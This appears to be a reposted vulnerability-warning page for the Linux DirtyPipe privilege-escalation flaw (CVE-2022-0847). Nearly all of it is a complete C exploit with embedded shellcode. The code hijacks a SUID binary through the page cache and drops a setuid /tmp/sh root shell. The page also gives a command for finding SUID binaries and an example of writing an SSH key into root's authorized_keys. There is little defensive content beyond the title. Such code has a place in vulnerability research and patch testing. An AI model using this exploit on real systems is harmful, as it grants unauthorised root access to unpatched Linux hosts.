漏洞预警 - Linux DirtyPipe权限提升漏洞 CVE-2022-0847

find / -user root -perm /4000 2>/dev/null

// https://haxx.in/posts/pwning-tipc/// dirtypipez.c//// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn// a root shell. (and attempts to restore the damaged binary as well)//// Wow, Dirty CoW reloaded!//// -- blasty <[email protected]> // 2022-03-07
/* SPDX-License-Identifier: GPL-2.0 *//* * Copyright 2022 CM4all GmbH / IONOS SE * * author: Max Kellermann <[email protected]> * * Proof-of-concept exploit for the Dirty Pipe * vulnerability (CVE-2022-0847) caused by an uninitialized * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any * file contents in the page cache, even if the file is not permitted * to be written, immutable or on a read-only mount. * * This exploit requires Linux 5.8 or later; the code path was made * reachable by commit f6dd975583bd ("pipe: merge * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was * there before, it just provided an easy way to exploit it. * * There are two major limitations of this exploit: the offset cannot * be on a page boundary (it needs to write one byte before the offset * to add a reference to this page to the pipe), and the write cannot * cross a page boundary. * * Example: ./write_anything /root/.ssh/authorized_keys 1 $'nssh-ed25519 AAA......n' * * Further explanation: https://dirtypipe.cm4all.com/ */
#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#include <stdint.h>
#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif
// small (linux x86_64) ELF file matroshka doll that does;//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);//   write(fd, elfcode, elfcode_len)//   chmod("/tmp/sh", 04755)//   close(fd);//   exit(0);//// the dropped ELF simply does://   setuid(0);//   setgid(0);//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);unsigned char elfcode[] = {  /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,  0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,  0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,  0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,  0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,  0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,  0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,  0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,  0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,  0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,  0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,  0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,  0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,  0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,  0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,  0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,  0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00};
/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */static void prepare_pipe(int p[2]){  if (pipe(p)) abort();
  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);  static char buffer[4096];
  /* fill the pipe completely; each pipe_buffer will now have     the PIPE_BUF_FLAG_CAN_MERGE flag */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    write(p[1], buffer, n);    r -= n;  }
  /* drain the pipe, freeing all pipe_buffer instances (but     leaving the flags initialized) */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    read(p[0], buffer, n);    r -= n;  }
  /* the pipe is now empty, and if somebody adds a new     pipe_buffer without initializing its "flags", the buffer     will be mergeable */}
int hax(char *filename, long offset, uint8_t *data, size_t len) {  /* open the input file and validate the specified offset */  const int fd = open(filename, O_RDONLY); // yes, read-only! :-)  if (fd < 0) {    perror("open failed");    return -1;  }
  struct stat st;  if (fstat(fd, &st)) {    perror("stat failed");    return -1;  }
  /* create the pipe with all flags initialized with     PIPE_BUF_FLAG_CAN_MERGE */  int p[2];  prepare_pipe(p);
  /* splice one byte from before the specified offset into the     pipe; this will add a reference to the page cache, but     since copy_page_to_iter_pipe() does not initialize the     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */  --offset;  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);  if (nbytes < 0) {    perror("splice failed");    return -1;  }  if (nbytes == 0) {    fprintf(stderr, "short splicen");    return -1;  }
  /* the following write will not create a new pipe_buffer, but     will instead write into the page cache, because of the     PIPE_BUF_FLAG_CAN_MERGE flag */  nbytes = write(p[1], data, len);  if (nbytes < 0) {    perror("write failed");    return -1;  }  if ((size_t)nbytes < len) {    fprintf(stderr, "short writen");    return -1;  }
  close(fd);
  return 0;}
int main(int argc, char **argv) {  if (argc != 2) {    fprintf(stderr, "Usage: %s SUIDn", argv[0]);    return EXIT_FAILURE;  }
  char *path = argv[1];  uint8_t *data = elfcode;
  int fd = open(path, O_RDONLY);  uint8_t *orig_bytes = malloc(sizeof(elfcode));  lseek(fd, 1, SEEK_SET);  read(fd, orig_bytes, sizeof(elfcode));  close(fd);
  printf("[+] hijacking suid binary..n");  if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {    printf("[~] failedn");    return EXIT_FAILURE;  }
  printf("[+] dropping suid shell..n");  system(path);
  printf("[+] restoring suid binary..n");  if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {    printf("[~] failedn");    return EXIT_FAILURE;  }
  printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))n");  system("/tmp/sh");
  return EXIT_SUCCESS;}